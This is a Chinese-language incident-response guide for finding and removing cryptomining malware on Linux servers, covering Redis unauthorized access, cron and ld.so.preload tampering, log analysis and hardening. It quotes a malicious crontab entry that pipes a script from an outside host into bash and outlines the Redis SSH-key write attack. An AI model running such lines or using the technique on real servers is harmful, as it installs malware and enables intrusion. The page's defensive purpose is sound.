linux挖矿入侵排查

挖矿程序会占用CPU进行超频运算,导致CPU严重损耗,并且影响服务器上的其他应用。挖矿程序还具备蠕虫化特点,当安全边界被突破时,挖矿病毒会向内网渗透,并在被入侵的服务器上持久化驻留以获取最大收益。

由于挖矿程序具有联动作用,在清理过程中会存在处理不及时或清理不干净导致挖矿病毒反复发生、出现恶意脚本替换系统命令,从而导致执行系统命令时触发恶意脚本执行(例如:xorddos)。因此,需要在挖矿程序的一个执行周期内,尽快将被入侵服务器上的木马程序和持续化后门清理干净,否则容易导致挖矿病毒频繁复发。

挖矿程序可能还存在自删除行为,或伪装成系统程序以躲避检测。如果发现该文件不存在,请检查是否存在可疑进程、定时任务或启动项。


导致入侵的几种场景

Redis未授权访问漏洞

1.什么是Redis未授权访问漏洞?

Redis 默认情况下,会绑定在 0.0.0.0:6379。如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源IP访问等,就会将 Redis 服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh/authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • Redis绑定在 0.0.0.0:6379,且没有配置防火墙规则而直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录Redis服务。

2.漏洞的危害

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

参考[6]:知乎:黑客是如何Redis漏洞入侵服务器实现批量挖矿的

服务器中存在隐藏的恶意模块

黑客通过驱动rootkit程序入侵主机,并部署隐藏挖矿程序,CPU使用率可能达到90~100%。

被入侵的症状

执行 crontab -l 发现crontab被篡改

[root@localhost]# cat /var/spool/cron/*
30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh
  • 修复过程:利用chattr +i对cron的3个地方的配置文件夹加锁防止被修改
chattr -ai /etc/crontab
chattr -ai -R /etc/cron.d/
chattr -ai -R /var/spool/cron
rm -rf /var/spool/cron/*
rm -rf /etc/cron.d/*
chattr +ai /etc/crontab
chattr +ai -R /etc/cron.d/
chattr +ai -R /var/spool/cron/
  • 附:允许添加crontab请参考
chattr -ai -R /var/spool/cron
echo "#end" >> /var/spool/cron/`whoami`
chattr +ai -R /var/spool/cron
lsattr /var/spool/cron/
crontab -l

执行 ps -ef 发现可疑后台任务

注:crond 为守护进程(测试:systemctl stop/start crond)

[root@localhost]# ps -ef | grep cron
root    513      1  0  2020   ?      00:00:34   /usr/sbin/crond -n
root   4668   1240  0  14:48  pts/0  00:00:00   grep --color=auto cron
root  27147  27144  0  12:01  ?      00:00:00   /bin/bash /bin/run-parts /etc/cron.hourly
root  27164  27147  0  12:01  ?      00:00:00   awk -v progname=/etc/cron.hourly/oanacroner1 progname { ????   print progname ":\n" ????   progname=""; ??? } ???  { print; }
  • 修复过程
kill $PID                          # 杀掉可疑进程id
ls -l /proc/$PID/exe               # 通过PID号获取该而已文件的路径
rm -rf /etc/cron.hourly/*          # 删除可疑进程文件
rm -rf /etc/cron.hourly/oanacron
rm -rf /etc/cron.daily/oanacron
rm -rf /etc/cron.monthly/oanacron
rm -rf /bin/httpdns
rm -f /tmp/crontab.*

执行 top 发现可疑进程导致部分cpu 100%

[root@localhost]# top 

%Cpu0  : 99.7 us,  0.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  :  1.4 us,  0.7 sy,  0.0 ni, 96.8 id,  0.7 wa,  0.0 hi,  0.4 si,  0.0 st
%Cpu2  : 99.7 us,  0.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  :100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st

 PID   USER  PR  NI   VIRT     RES      SHR  S  %CPU    %MEM   TIME+       COMMAND
 1877  root  20   0   11.9g    2.2g     3436 S  102.3   7.0    176717:32   java
  585  root  20   0   2439716  269040      4 S  100.0   0.8    550:08.97   /usr/sbin/.libs
32037  root  20   0   2439576  6896        4 S   99.7   0.0    613:28.86   /usr/sbin/.libs
  • 附:根据cpu使用率排序
top -bn 1 -i -c
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head
  • 修复过程(以杀掉.libs进程为例)
# ps aux|grep libs|grep -v color|awk '{print $2}'|xargs kill -9 2> /dev/null
kill $PID                    # 杀掉可疑进程id
ls -l /proc/$PID/exe         # 通过PID号获取该而已文件的路径
lsattr /usr/sbin/.libs       # 查看可疑文件的文件系统属性
chattr -ai /usr/sbin/.libs   # 取消可疑文件的文件系统属性
rm -rf /usr/sbin/.libs       # 删除可疑进程文件

执行 ifconfig 报错发现 ld.so.preload 被篡改

2021.06.29.验证ok

[root@localhost]# ifconfig
ERROR: ld.so: object '/usr/local/lib/libs.so' from /etc/ld.so.preload cannot be preloaded: ignored.
  • 修复过程
echo "" > /etc/ld.so.preload
chattr +i /etc
rm -f /usr/local/lib/lbb.so
chattr +i /usr/local/lib
ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9 2> /dev/null
rm -rf /tmp/.tmph
rm -rf /bin/kworkerds
rm -rf /var/tmp/kworkerds*
rm -rf /var/tmp/1.so
rm -rf /tmp/kworkerds*
rm -rf /usr/sbin/kworkerds
rm -rf /etc/init.d/kworker
rm -rf /tmp/1.so
rm -f /var/tmp/wc.conf
rm -rf tmp/wc.conf
chkconfig --del kworker

iptables被关掉

iptables -nL

手动启动

sh /bin/iptables.sh

查看是否存在业务范围之外的可疑通信地址和开放端口

如果有,请修改iptables策略,如果是阿里云ECS主机,记得同步修改安全组。

iptables -nL

几种常见的挖矿程序

服务器中存在恶意minerd、tplink进程

ps -ef | egrep "(pool|launch|minerd|tplink)" | grep -v grep

入侵排查的过程

查询特权用户特权用户(uid 为0)

awk -F: '$3==0{print $1}' /etc/passwd

查询可以远程登录的帐号

awk '/\$1|\$6/{print $1}' /etc/shadow
cat /etc/passwd | grep /bin/bash

存在sudo权限的账号

如非管理需要,普通帐号应删除sudo权限:

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

查看当前登录用户及登录时长

who     # 查看当前登录系统的所有用户(tty 本地登陆  pts 远程登录)
w       # 显示已经登录系统的所用用户,以及正在执行的指令
uptime  # 查看登陆多久、多少用户,负载状态

排查用户登录信息

last     # 查看最近登录成功的用户及信息
lastb    # 查看最近登录失败的用户及信息
lastlog  # 显示所有用户最近一次登录信息

检查端口连接情况

netstat -antlp | more   # 检查端口连接情况

ps aux | grep $PID      # 使用 ps 命令,根据端口号得到相应 pid 号,比如 ESTABLISHED 1452/mysqld
ls -l /proc/$PID/exe    # 查看 pid 所对应的进程文件路径,1452 为对应的 pid 号
file /proc/$PID/exe     # 查看 pid 所对应的进程文件路径,1452 为对应的 pid 号
lsof -p $PID            # 根据pid号查看进程(安装 yum install -y lsof)
lsof -c $FILE           # 通过服务名查看该进程打开的文件
lsof -i :$PID           # 通过端口号查看进程

检查开机启动项

cat /etc/rc.local
ls -l /etc/rc.d/rc3.d/

查询已安装的服务

通过 RPM 包安装的服务

chkconfig --list     # 查看服务自启动状态,可以看到所有的RPM包安装的服务

源码包安装的服务:服务一般安装在 /user/local/

ll /etc/rc.d/init.d/
ll /usr/local/

异常文件检查

find / -name a.Test            # 根据名称查找
find / -size +1000M            # 根据大小查找
find / -mtime -1 -ls | more    # 查找最近一天以内修改的文件:
find / -mtime +7 -ls           # 查找7天前修改的文件:

ps -ef --sort -pcpu    # 按照CPU使用率从高到低排序
ps -ef --sort -pmem    # 按照内存使用率从高到低排序

检查SSH公钥中是否存在挖矿病毒的异常私钥,防止出现持续后门

cat /root/.ssh/authorized_keys

系统日志分析

/var/log/wtmp          # 登录进入,退出,数据交换、关机和重启纪录
/var/log/lastlog       # 文件记录用户最后登录的信息,可用 lastlog 命令来查看。
/var/log/secure        # 记录登入系统存取数据的文件,例如 pop3/ssh/telnet/ftp 等都会被记录。
/var/log/cron          # 与定时任务相关的日志信息
/var/log/message       # 系统启动后的信息和错误日志

日志分析技巧:

#.1、定位有多少IP在爆破主机的root帐号
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

#.2、定位有哪些IP在爆破
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

#.3、爆破用户名字典是什么
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

#.4、登录失败的日志
grep -rn 'fail' /var/log/secure 

#.5、登录成功的IP有哪些
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

#.6、登录成功的日期、用户名、IP
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

加固方案

SSH加固

  1. 谨慎做免密登录
  2. 尽量不使用默认的22端口
  3. 增强root密码强度

限制redis连接的ip

有很多挖矿病毒是通过Redis未认证接口进行攻击的,所以建议使用redis的同学做以下加固:

  1. 增加授权认证(requirepass参数)
  2. 尽量使用docker版本(docker pull redis)
  3. 修改 iptables 只允许某些特定的ip访问redis,将
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT

修改为指定ip访问

iptables -A INPUT -s xxx.xxx.xxx.xxx -p tcp --dport 6379 -j ACCEPT

注意:redis.conf 配置 bind 的含义不是要访问的服务器的ip 而是 本机用于别人访问的ip

为 history 增加登录的IP地址、执行命令时间等信息

1、保存1万条命令:

chattr -ia /etc/profile
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
chattr +ia /etc/profile

2、在/etc/profile的文件尾部添加如下行数配置信息:

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

3、让配置生效

source /etc/profile

不要安装来源不明的软件

不管是在个人pc还是在测试服务器上!!!

对常见挖矿进程的监控和查杀

2020.09.08.监控挖矿进程

conn=`ps -ef | egrep "(pool|launch|minerd|tplink)" | grep -v grep | grep -v ucenter_pool | grep -v pool_id | wc -l`
content="现在检测到挖矿进程请及时处理"
if [[ $conn -gt 0 ]];then
  curl "http://sc.ftqq.com/SCU122343T0b7b9b0e8ad825a58cea3b4da8273fb25f9e2c9ee8274.send?text=$title&desp=$stime$content" >/dev/null 2>&1 &
fi

2020.10.18.自动杀掉常见挖矿进程

ps aux | fgrep 'pool' | grep -v ucenter_pool | grep -v pool_id | awk '{print $2}' | xargs kill -9 2> /dev/null
ps aux | fgrep 'launch' | awk '{print $2}' | xargs kill -9 2> /dev/null
ps aux | fgrep 'minerd' | awk '{print $2}' | xargs kill -9 2> /dev/null
ps aux | fgrep 'tplink' | awk '{print $2}' | xargs kill -9 2> /dev/null
Copyright © https://yan-jian.com 2023 all right reserved更新时间: 2023-12-06 14:54:48

results matching ""

    No results matching ""